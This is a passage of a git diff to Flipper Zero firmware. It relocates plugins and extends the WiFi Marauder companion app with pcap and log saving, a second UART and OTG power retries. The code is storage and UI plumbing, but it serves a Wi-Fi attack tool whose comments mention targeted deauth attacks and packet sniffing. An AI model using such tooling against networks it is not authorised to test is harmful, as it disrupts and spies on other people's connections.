a/applications/plugins/wifi_marauder_companion/wifi_marauder_app.c +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app.c @@ -2,6 +2,7 @@ #include #include +#include static bool wifi_marauder_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); @@ -23,8 +24,15 @@ static void wifi_marauder_app_tick_event_callback(void* context) { WifiMarauderApp* wifi_marauder_app_alloc() { WifiMarauderApp* app = malloc(sizeof(WifiMarauderApp)); + DOLPHIN_DEED(DolphinDeedPluginStart); app->gui = furi_record_open(RECORD_GUI); + app->dialogs = furi_record_open(RECORD_DIALOGS); + app->storage = furi_record_open(RECORD_STORAGE); + app->capture_file = storage_file_alloc(app->storage); + app->log_file = storage_file_alloc(app->storage); + app->save_pcap_setting_file = storage_file_alloc(app->storage); + app->save_logs_setting_file = storage_file_alloc(app->storage); app->view_dispatcher = view_dispatcher_alloc(); app->scene_manager = scene_manager_alloc(&wifi_marauder_scene_handlers, app); @@ -62,11 +70,62 @@ WifiMarauderApp* wifi_marauder_app_alloc() { view_dispatcher_add_view( app->view_dispatcher, WifiMarauderAppViewTextInput, text_input_get_view(app->text_input)); + app->widget = widget_alloc(); + view_dispatcher_add_view( + app->view_dispatcher, WifiMarauderAppViewWidget, widget_get_view(app->widget)); + + app->has_saved_logs_this_session = false; + + // if user hasn't confirmed whether to save pcaps and logs to sdcard, then prompt when scene starts + app->need_to_prompt_settings_init = + (!storage_file_exists(app->storage, SAVE_PCAP_SETTING_FILEPATH) || + !storage_file_exists(app->storage, SAVE_LOGS_SETTING_FILEPATH)); + scene_manager_next_scene(app->scene_manager, WifiMarauderSceneStart); return app; } +void wifi_marauder_make_app_folder(WifiMarauderApp* app) { + furi_assert(app); + + if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER)) { + dialog_message_show_storage_error(app->dialogs, "Cannot create\napp folder"); + } + + if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER_PCAPS)) { + dialog_message_show_storage_error(app->dialogs, "Cannot create\npcaps folder"); + } + + if(!storage_simply_mkdir(app->storage, MARAUDER_APP_FOLDER_LOGS)) { + dialog_message_show_storage_error(app->dialogs, "Cannot create\npcaps folder"); + } +} + +void wifi_marauder_load_settings(WifiMarauderApp* app) { + if(storage_file_open( + app->save_pcap_setting_file, + SAVE_PCAP_SETTING_FILEPATH, + FSAM_READ, + FSOM_OPEN_EXISTING)) { + char ok[1]; + storage_file_read(app->save_pcap_setting_file, ok, sizeof(ok)); + app->ok_to_save_pcaps = ok[0] == 'Y'; + } + storage_file_close(app->save_pcap_setting_file); + + if(storage_file_open( + app->save_logs_setting_file, + SAVE_LOGS_SETTING_FILEPATH, + FSAM_READ, + FSOM_OPEN_EXISTING)) { + char ok[1]; + storage_file_read(app->save_logs_setting_file, ok, sizeof(ok)); + app->ok_to_save_logs = ok[0] == 'Y'; + } + storage_file_close(app->save_logs_setting_file); +} + void wifi_marauder_app_free(WifiMarauderApp* app) { furi_assert(app); @@ -74,36 +133,56 @@ void wifi_marauder_app_free(WifiMarauderApp* app) { view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewConsoleOutput); view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewTextInput); + view_dispatcher_remove_view(app->view_dispatcher, WifiMarauderAppViewWidget); + widget_free(app->widget); text_box_free(app->text_box); furi_string_free(app->text_box_store); text_input_free(app->text_input); + storage_file_free(app->capture_file); + storage_file_free(app->log_file); + storage_file_free(app->save_pcap_setting_file); + storage_file_free(app->save_logs_setting_file); // View dispatcher view_dispatcher_free(app->view_dispatcher); scene_manager_free(app->scene_manager); wifi_marauder_uart_free(app->uart); + wifi_marauder_uart_free(app->lp_uart); // Close records furi_record_close(RECORD_GUI); + furi_record_close(RECORD_STORAGE); + furi_record_close(RECORD_DIALOGS); free(app); } int32_t wifi_marauder_app(void* p) { UNUSED(p); - furi_hal_power_enable_otg(); - furi_delay_ms(300); + + uint8_t attempts = 0; + while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { + furi_hal_power_enable_otg(); + furi_delay_ms(10); + } + furi_delay_ms(200); WifiMarauderApp* wifi_marauder_app = wifi_marauder_app_alloc(); - wifi_marauder_app->uart = wifi_marauder_uart_init(wifi_marauder_app); + wifi_marauder_make_app_folder(wifi_marauder_app); + wifi_marauder_load_settings(wifi_marauder_app); + + wifi_marauder_app->uart = wifi_marauder_usart_init(wifi_marauder_app); + wifi_marauder_app->lp_uart = wifi_marauder_lp_uart_init(wifi_marauder_app); view_dispatcher_run(wifi_marauder_app->view_dispatcher); wifi_marauder_app_free(wifi_marauder_app); - furi_hal_power_disable_otg(); + if(furi_hal_power_is_otg_enabled()) { + furi_hal_power_disable_otg(); + } return 0; } diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_app.h b/applications/external/wifi_marauder_companion/wifi_marauder_app.h similarity index 74% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_app.h rename to applications/external/wifi_marauder_companion/wifi_marauder_app.h index 2d41daa55..89a06f904 100644 --- a/applications/plugins/wifi_marauder_companion/wifi_marauder_app.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app.h @@ -4,6 +4,8 @@ extern "C" { #endif +#define WIFI_MARAUDER_APP_VERSION "v0.3.3" + typedef struct WifiMarauderApp WifiMarauderApp; #ifdef __cplusplus diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_app_i.h b/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h similarity index 61% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_app_i.h rename to applications/external/wifi_marauder_companion/wifi_marauder_app_i.h index 4df9e326b..39b48fae3 100644 --- a/applications/plugins/wifi_marauder_companion/wifi_marauder_app_i.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_app_i.h @@ -6,6 +6,7 @@ #include "scenes/wifi_marauder_scene.h" #include "wifi_marauder_custom_event.h" #include "wifi_marauder_uart.h" +#include "wifi_marauder_pcap.h" #include #include @@ -13,12 +14,25 @@ #include #include #include +#include -#define NUM_MENU_ITEMS (16) +#include +#include + +#define NUM_MENU_ITEMS (17) #define WIFI_MARAUDER_TEXT_BOX_STORE_SIZE (4096) #define WIFI_MARAUDER_TEXT_INPUT_STORE_SIZE (512) +#define MARAUDER_APP_FOLDER_USER "apps_data/marauder" +#define MARAUDER_APP_FOLDER EXT_PATH(MARAUDER_APP_FOLDER_USER) +#define MARAUDER_APP_FOLDER_PCAPS MARAUDER_APP_FOLDER "/pcaps" +#define MARAUDER_APP_FOLDER_LOGS MARAUDER_APP_FOLDER "/logs" +#define MARAUDER_APP_FOLDER_USER_PCAPS MARAUDER_APP_FOLDER_USER "/pcaps" +#define MARAUDER_APP_FOLDER_USER_LOGS MARAUDER_APP_FOLDER_USER "/logs" +#define SAVE_PCAP_SETTING_FILEPATH MARAUDER_APP_FOLDER "/save_pcaps_here.setting" +#define SAVE_LOGS_SETTING_FILEPATH MARAUDER_APP_FOLDER "/save_logs_here.setting" + struct WifiMarauderApp { Gui* gui; ViewDispatcher* view_dispatcher; @@ -29,11 +43,26 @@ struct WifiMarauderApp { size_t text_box_store_strlen; TextBox* text_box; TextInput* text_input; - //Widget* widget; + Storage* storage; + File* capture_file; + File* log_file; + char log_file_path[100]; + File* save_pcap_setting_file; + File* save_logs_setting_file; + bool need_to_prompt_settings_init; + int which_prompt; + bool ok_to_save_pcaps; + bool ok_to_save_logs; + bool has_saved_logs_this_session; + DialogsApp* dialogs; VariableItemList* var_item_list; + Widget* widget; + int open_log_file_page; + int open_log_file_num_pages; WifiMarauderUart* uart; + WifiMarauderUart* lp_uart; int selected_menu_index; int selected_option_index[NUM_MENU_ITEMS]; const char* selected_tx_string; @@ -41,6 +70,8 @@ struct WifiMarauderApp { bool is_custom_tx_string; bool focus_console_start; bool show_stopscan_tip; + bool is_writing_pcap; + bool is_writing_log; // For input source and destination MAC in targeted deauth attack int special_case_input_step; @@ -73,4 +104,5 @@ typedef enum { WifiMarauderAppViewVarItemList, WifiMarauderAppViewConsoleOutput, WifiMarauderAppViewTextInput, + WifiMarauderAppViewWidget, } WifiMarauderAppView; diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_custom_event.h b/applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h similarity index 64% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_custom_event.h rename to applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h index 990b457f5..79f96b107 100644 --- a/applications/plugins/wifi_marauder_companion/wifi_marauder_custom_event.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_custom_event.h @@ -5,5 +5,7 @@ typedef enum { WifiMarauderEventStartConsole, WifiMarauderEventStartKeyboard, WifiMarauderEventSaveSourceMac, - WifiMarauderEventSaveDestinationMac + WifiMarauderEventSaveDestinationMac, + WifiMarauderEventStartSettingsInit, + WifiMarauderEventStartLogViewer } WifiMarauderCustomEvent; diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_pcap.c b/applications/external/wifi_marauder_companion/wifi_marauder_pcap.c new file mode 100644 index 000000000..73e3d98ea --- /dev/null +++ b/applications/external/wifi_marauder_companion/wifi_marauder_pcap.c @@ -0,0 +1,64 @@ +#include "wifi_marauder_app_i.h" +#include "wifi_marauder_pcap.h" + +void wifi_marauder_get_prefix_from_sniff_cmd(char* dest, const char* command) { + int start, end, delta; + start = strlen("sniff"); + end = strcspn(command, " "); + delta = end - start; + strncpy(dest, command + start, end - start); + dest[delta] = '\0'; +} + +void wifi_marauder_get_prefix_from_cmd(char* dest, const char* command) { + int end; + end = strcspn(command, " "); + strncpy(dest, command, end); + dest[end] = '\0'; +} + +void wifi_marauder_create_pcap_file(WifiMarauderApp* app) { + char prefix[10]; + char capture_file_path[100]; + wifi_marauder_get_prefix_from_sniff_cmd(prefix, app->selected_tx_string); + + int i = 0; + do { + snprintf( + capture_file_path, + sizeof(capture_file_path), + "%s/%s_%d.pcap", + MARAUDER_APP_FOLDER_PCAPS, + prefix, + i); + i++; + } while(storage_file_exists(app->storage, capture_file_path)); + + if(!storage_file_open(app->capture_file, capture_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { + dialog_message_show_storage_error(app->dialogs, "Cannot open pcap file"); + } +} + +void wifi_marauder_create_log_file(WifiMarauderApp* app) { + char prefix[10]; + char log_file_path[100]; + wifi_marauder_get_prefix_from_cmd(prefix, app->selected_tx_string); + + int i = 0; + do { + snprintf( + log_file_path, + sizeof(log_file_path), + "%s/%s_%d.log", + MARAUDER_APP_FOLDER_LOGS, + prefix, + i); + i++; + } while(storage_file_exists(app->storage, log_file_path)); + + if(!storage_file_open(app->log_file, log_file_path, FSAM_WRITE, FSOM_CREATE_ALWAYS)) { + dialog_message_show_storage_error(app->dialogs, "Cannot open log file"); + } else { + strcpy(app->log_file_path, log_file_path); + } +} \ No newline at end of file diff --git a/applications/external/wifi_marauder_companion/wifi_marauder_pcap.h b/applications/external/wifi_marauder_companion/wifi_marauder_pcap.h new file mode 100644 index 000000000..94f6282f3 --- /dev/null +++ b/applications/external/wifi_marauder_companion/wifi_marauder_pcap.h @@ -0,0 +1,20 @@ +#pragma once + +#include "furi_hal.h" + +/** + * Creates a PCAP file to store incoming packets. + * The file name will have a prefix according to the type of scan being performed by the application (Eg: raw_0.pcap) + * + * @param app Application context + */ +void wifi_marauder_create_pcap_file(WifiMarauderApp* app); + +/** + * Creates a log file to store text from console output. + * The file name will have a prefix according to the command being performed by the application (Eg: scanap_0.log) + * + * @param app Application context + */ +// same as wifi_marauder_create_pcap_file, but for log files (to save console text output) +void wifi_marauder_create_log_file(WifiMarauderApp* app); diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_uart.c b/applications/external/wifi_marauder_companion/wifi_marauder_uart.c similarity index 71% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_uart.c rename to applications/external/wifi_marauder_companion/wifi_marauder_uart.c index 228b0f83d..5ce6480f2 100644 --- a/applications/plugins/wifi_marauder_companion/wifi_marauder_uart.c +++ b/applications/external/wifi_marauder_companion/wifi_marauder_uart.c @@ -2,10 +2,12 @@ #include "wifi_marauder_uart.h" #define UART_CH (FuriHalUartIdUSART1) +#define LP_UART_CH (FuriHalUartIdLPUART1) #define BAUDRATE (115200) struct WifiMarauderUart { WifiMarauderApp* app; + FuriHalUartId channel; FuriThread* rx_thread; FuriStreamBuffer* rx_stream; uint8_t rx_buf[RX_BUF_SIZE + 1]; @@ -60,25 +62,42 @@ void wifi_marauder_uart_tx(uint8_t* data, size_t len) { furi_hal_uart_tx(UART_CH, data, len); } -WifiMarauderUart* wifi_marauder_uart_init(WifiMarauderApp* app) { +void wifi_marauder_lp_uart_tx(uint8_t* data, size_t len) { + furi_hal_uart_tx(LP_UART_CH, data, len); +} + +WifiMarauderUart* + wifi_marauder_uart_init(WifiMarauderApp* app, FuriHalUartId channel, const char* thread_name) { WifiMarauderUart* uart = malloc(sizeof(WifiMarauderUart)); uart->app = app; + uart->channel = channel; uart->rx_stream = furi_stream_buffer_alloc(RX_BUF_SIZE, 1); uart->rx_thread = furi_thread_alloc(); - furi_thread_set_name(uart->rx_thread, "WifiMarauderUartRxThread"); + furi_thread_set_name(uart->rx_thread, thread_name); furi_thread_set_stack_size(uart->rx_thread, 1024); furi_thread_set_context(uart->rx_thread, uart); furi_thread_set_callback(uart->rx_thread, uart_worker); furi_thread_start(uart->rx_thread); - - furi_hal_console_disable(); - furi_hal_uart_set_br(UART_CH, BAUDRATE); - furi_hal_uart_set_irq_cb(UART_CH, wifi_marauder_uart_on_irq_cb, uart); + if(channel == FuriHalUartIdUSART1) { + furi_hal_console_disable(); + } else if(channel == FuriHalUartIdLPUART1) { + furi_hal_uart_init(channel, BAUDRATE); + } + furi_hal_uart_set_br(channel, BAUDRATE); + furi_hal_uart_set_irq_cb(channel, wifi_marauder_uart_on_irq_cb, uart); return uart; } +WifiMarauderUart* wifi_marauder_usart_init(WifiMarauderApp* app) { + return wifi_marauder_uart_init(app, UART_CH, "WifiMarauderUartRxThread"); +} + +WifiMarauderUart* wifi_marauder_lp_uart_init(WifiMarauderApp* app) { + return wifi_marauder_uart_init(app, LP_UART_CH, "WifiMarauderLPUartRxThread"); +} + void wifi_marauder_uart_free(WifiMarauderUart* uart) { furi_assert(uart); @@ -86,7 +105,7 @@ void wifi_marauder_uart_free(WifiMarauderUart* uart) { furi_thread_join(uart->rx_thread); furi_thread_free(uart->rx_thread); - furi_hal_uart_set_irq_cb(UART_CH, NULL, NULL); + furi_hal_uart_set_irq_cb(uart->channel, NULL, NULL); furi_hal_console_enable(); free(uart); diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_uart.h b/applications/external/wifi_marauder_companion/wifi_marauder_uart.h similarity index 61% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_uart.h rename to applications/external/wifi_marauder_companion/wifi_marauder_uart.h index e38c18dd2..e352cfec5 100644 --- a/applications/plugins/wifi_marauder_companion/wifi_marauder_uart.h +++ b/applications/external/wifi_marauder_companion/wifi_marauder_uart.h @@ -2,7 +2,7 @@ #include "furi_hal.h" -#define RX_BUF_SIZE (320) +#define RX_BUF_SIZE (2048) typedef struct WifiMarauderUart WifiMarauderUart; @@ -10,5 +10,7 @@ void wifi_marauder_uart_set_handle_rx_data_cb( WifiMarauderUart* uart, void (*handle_rx_data_cb)(uint8_t* buf, size_t len, void* context)); void wifi_marauder_uart_tx(uint8_t* data, size_t len); -WifiMarauderUart* wifi_marauder_uart_init(WifiMarauderApp* app); +void wifi_marauder_lp_uart_tx(uint8_t* data, size_t len); +WifiMarauderUart* wifi_marauder_usart_init(WifiMarauderApp* app); +WifiMarauderUart* wifi_marauder_lp_uart_init(WifiMarauderApp* app); void wifi_marauder_uart_free(WifiMarauderUart* uart); diff --git a/applications/plugins/wifi_scanner/FlipperZeroWiFiModuleDefines.h b/applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h similarity index 100% rename from applications/plugins/wifi_scanner/FlipperZeroWiFiModuleDefines.h rename to applications/external/wifi_scanner/FlipperZeroWiFiModuleDefines.h diff --git a/applications/plugins/wifi_scanner/application.fam b/applications/external/wifi_scanner/application.fam similarity index 87% rename from applications/plugins/wifi_scanner/application.fam rename to applications/external/wifi_scanner/application.fam index a46ecf3fb..a8ce99794 100644 --- a/applications/plugins/wifi_scanner/application.fam +++ b/applications/external/wifi_scanner/application.fam @@ -3,7 +3,6 @@ App( name="[WiFi] Scanner", apptype=FlipperAppType.EXTERNAL, entry_point="wifi_scanner_app", - cdefines=["APP_WIFI_SCANNER"], requires=["gui"], stack_size=2 * 1024, order=70, diff --git a/applications/plugins/wifi_scanner/wifi_10px.png b/applications/external/wifi_scanner/wifi_10px.png similarity index 100% rename from applications/plugins/wifi_scanner/wifi_10px.png rename to applications/external/wifi_scanner/wifi_10px.png diff --git a/applications/plugins/wifi_scanner/wifi_scanner.c b/applications/external/wifi_scanner/wifi_scanner.c similarity index 98% rename from applications/plugins/wifi_scanner/wifi_scanner.c rename to applications/external/wifi_scanner/wifi_scanner.c index 3a79ce16e..341287b54 100644 --- a/applications/plugins/wifi_scanner/wifi_scanner.c +++ b/applications/external/wifi_scanner/wifi_scanner.c @@ -663,7 +663,12 @@ int32_t wifi_scanner_app(void* p) { #else app->m_context = Initializing; #if ENABLE_MODULE_POWER - furi_hal_power_enable_otg(); + uint8_t attempts = 0; + while(!furi_hal_power_is_otg_enabled() && attempts++ < 5) { + furi_hal_power_enable_otg(); + furi_delay_ms(10); + } + furi_delay_ms(200); #endif // ENABLE_MODULE_POWER #endif // ENABLE_MODULE_DETECTION @@ -722,7 +727,12 @@ int32_t wifi_scanner_app(void* p) { app->m_wifiModuleAttached = true; app->m_context = Initializing; #if ENABLE_MODULE_POWER - furi_hal_power_enable_otg(); + uint8_t attempts2 = 0; + while(!furi_hal_power_is_otg_enabled() && attempts2++ < 3) { + furi_hal_power_enable_otg(); + furi_delay_ms(10); + } + #endif } } @@ -851,7 +861,9 @@ int32_t wifi_scanner_app(void* p) { WIFI_APP_LOG_I("App freed"); #if ENABLE_MODULE_POWER - furi_hal_power_disable_otg(); + if(furi_hal_power_is_otg_enabled()) { + furi_hal_power_disable_otg(); + } #endif return 0; diff --git a/applications/plugins/wii_ec_anal/LICENSE b/applications/external/wii_ec_anal/LICENSE similarity index 100% rename from applications/plugins/wii_ec_anal/LICENSE rename to applications/external/wii_ec_anal/LICENSE diff --git a/applications/plugins/wii_ec_anal/WiiEC.png b/applications/external/wii_ec_anal/WiiEC.png similarity index 100% rename from applications/plugins/wii_ec_anal/WiiEC.png rename to applications/external/wii_ec_anal/WiiEC.png diff --git a/applications/plugins/wii_ec_anal/_image_tool/LICENSE b/applications/external/wii_ec_anal/_image_tool/LICENSE similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/LICENSE rename to applications/external/wii_ec_anal/_image_tool/LICENSE diff --git a/applications/plugins/wii_ec_anal/_image_tool/README b/applications/external/wii_ec_anal/_image_tool/README similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/README rename to applications/external/wii_ec_anal/_image_tool/README diff --git a/applications/plugins/wii_ec_anal/_image_tool/_convert.c b/applications/external/wii_ec_anal/_image_tool/_convert.c similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/_convert.c rename to applications/external/wii_ec_anal/_image_tool/_convert.c diff --git a/applications/plugins/wii_ec_anal/_image_tool/_convert.sh b/applications/external/wii_ec_anal/_image_tool/_convert.sh similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/_convert.sh rename to applications/external/wii_ec_anal/_image_tool/_convert.sh diff --git a/applications/plugins/wii_ec_anal/_image_tool/_convert_images.c b/applications/external/wii_ec_anal/_image_tool/_convert_images.c similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/_convert_images.c rename to applications/external/wii_ec_anal/_image_tool/_convert_images.c diff --git a/applications/plugins/wii_ec_anal/_image_tool/_convert_images.h b/applications/external/wii_ec_anal/_image_tool/_convert_images.h similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/_convert_images.h rename to applications/external/wii_ec_anal/_image_tool/_convert_images.h diff --git a/applications/plugins/wii_ec_anal/_image_tool/_convert_test.c b/applications/external/wii_ec_anal/_image_tool/_convert_test.c similarity index 100% rename from applications/plugins/wii_ec_anal/_image_tool/_convert_test.c rename to applications/external/wii_ec_anal/_image_tool/_convert_test.c diff --git a/applications/plugins/wii_ec_anal/application.fam b/applications/external/wii_ec_anal/application.fam similarity index 100% rename from applications/plugins/wii_ec_anal/application.fam rename to applications/external/wii_ec_anal/application.fam diff --git a/applications/plugins/wii_ec_anal/bc_logging.h b/applications/external/wii_ec_anal/bc_logging.h similarity index 100% rename from applications/plugins/wii_ec_anal/bc_logging.h rename to applications/external/wii_ec_anal/bc_logging.h diff --git a/applications/plugins/wii_ec_anal/err.h b/applications/external/wii_ec_anal/err.h similarity index 100% rename from applications/plugins/wii_ec_anal/err.h rename to applications/external/wii_ec_anal/err.h diff --git a/applications/plugins/wii_ec_anal/gfx/images.c b/applications/external/wii_ec_anal/gfx/images.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/images.c rename to applications/external/wii_ec_anal/gfx/images.c diff --git a/applications/plugins/wii_ec_anal/gfx/images.h b/applications/external/wii_ec_anal/gfx/images.h similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/images.h rename to applications/external/wii_ec_anal/gfx/images.h diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_0.c b/applications/external/wii_ec_anal/gfx/img_3x5_0.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_0.c rename to applications/external/wii_ec_anal/gfx/img_3x5_0.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_1.c b/applications/external/wii_ec_anal/gfx/img_3x5_1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_1.c rename to applications/external/wii_ec_anal/gfx/img_3x5_1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_2.c b/applications/external/wii_ec_anal/gfx/img_3x5_2.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_2.c rename to applications/external/wii_ec_anal/gfx/img_3x5_2.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_3.c b/applications/external/wii_ec_anal/gfx/img_3x5_3.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_3.c rename to applications/external/wii_ec_anal/gfx/img_3x5_3.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_4.c b/applications/external/wii_ec_anal/gfx/img_3x5_4.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_4.c rename to applications/external/wii_ec_anal/gfx/img_3x5_4.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_5.c b/applications/external/wii_ec_anal/gfx/img_3x5_5.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_5.c rename to applications/external/wii_ec_anal/gfx/img_3x5_5.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_6.c b/applications/external/wii_ec_anal/gfx/img_3x5_6.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_6.c rename to applications/external/wii_ec_anal/gfx/img_3x5_6.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_7.c b/applications/external/wii_ec_anal/gfx/img_3x5_7.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_7.c rename to applications/external/wii_ec_anal/gfx/img_3x5_7.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_8.c b/applications/external/wii_ec_anal/gfx/img_3x5_8.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_8.c rename to applications/external/wii_ec_anal/gfx/img_3x5_8.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_9.c b/applications/external/wii_ec_anal/gfx/img_3x5_9.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_9.c rename to applications/external/wii_ec_anal/gfx/img_3x5_9.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_3x5_v.c b/applications/external/wii_ec_anal/gfx/img_3x5_v.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_3x5_v.c rename to applications/external/wii_ec_anal/gfx/img_3x5_v.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_0.c b/applications/external/wii_ec_anal/gfx/img_5x7_0.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_0.c rename to applications/external/wii_ec_anal/gfx/img_5x7_0.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_1.c b/applications/external/wii_ec_anal/gfx/img_5x7_1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_1.c rename to applications/external/wii_ec_anal/gfx/img_5x7_1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_2.c b/applications/external/wii_ec_anal/gfx/img_5x7_2.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_2.c rename to applications/external/wii_ec_anal/gfx/img_5x7_2.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_3.c b/applications/external/wii_ec_anal/gfx/img_5x7_3.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_3.c rename to applications/external/wii_ec_anal/gfx/img_5x7_3.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_4.c b/applications/external/wii_ec_anal/gfx/img_5x7_4.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_4.c rename to applications/external/wii_ec_anal/gfx/img_5x7_4.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_5.c b/applications/external/wii_ec_anal/gfx/img_5x7_5.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_5.c rename to applications/external/wii_ec_anal/gfx/img_5x7_5.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_6.c b/applications/external/wii_ec_anal/gfx/img_5x7_6.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_6.c rename to applications/external/wii_ec_anal/gfx/img_5x7_6.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_7.c b/applications/external/wii_ec_anal/gfx/img_5x7_7.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_7.c rename to applications/external/wii_ec_anal/gfx/img_5x7_7.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_8.c b/applications/external/wii_ec_anal/gfx/img_5x7_8.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_8.c rename to applications/external/wii_ec_anal/gfx/img_5x7_8.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_9.c b/applications/external/wii_ec_anal/gfx/img_5x7_9.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_9.c rename to applications/external/wii_ec_anal/gfx/img_5x7_9.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_A.c b/applications/external/wii_ec_anal/gfx/img_5x7_A.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_A.c rename to applications/external/wii_ec_anal/gfx/img_5x7_A.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_B.c b/applications/external/wii_ec_anal/gfx/img_5x7_B.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_B.c rename to applications/external/wii_ec_anal/gfx/img_5x7_B.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_C.c b/applications/external/wii_ec_anal/gfx/img_5x7_C.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_C.c rename to applications/external/wii_ec_anal/gfx/img_5x7_C.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_D.c b/applications/external/wii_ec_anal/gfx/img_5x7_D.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_D.c rename to applications/external/wii_ec_anal/gfx/img_5x7_D.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_E.c b/applications/external/wii_ec_anal/gfx/img_5x7_E.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_E.c rename to applications/external/wii_ec_anal/gfx/img_5x7_E.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_5x7_F.c b/applications/external/wii_ec_anal/gfx/img_5x7_F.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_5x7_F.c rename to applications/external/wii_ec_anal/gfx/img_5x7_F.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_0.c b/applications/external/wii_ec_anal/gfx/img_6x8_0.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_0.c rename to applications/external/wii_ec_anal/gfx/img_6x8_0.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_1.c b/applications/external/wii_ec_anal/gfx/img_6x8_1.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_1.c rename to applications/external/wii_ec_anal/gfx/img_6x8_1.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_2.c b/applications/external/wii_ec_anal/gfx/img_6x8_2.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_2.c rename to applications/external/wii_ec_anal/gfx/img_6x8_2.c diff --git a/applications/plugins/wii_ec_anal/gfx/img_6x8_3.c b/applications/external/wii_ec_anal/gfx/img_6x8_3.c similarity index 100% rename from applications/plugins/wii_ec_anal/gfx/img_6x8_3.c rename to applications/external/wii_ec_anal/gfx/img_6x8_3.c diff --git 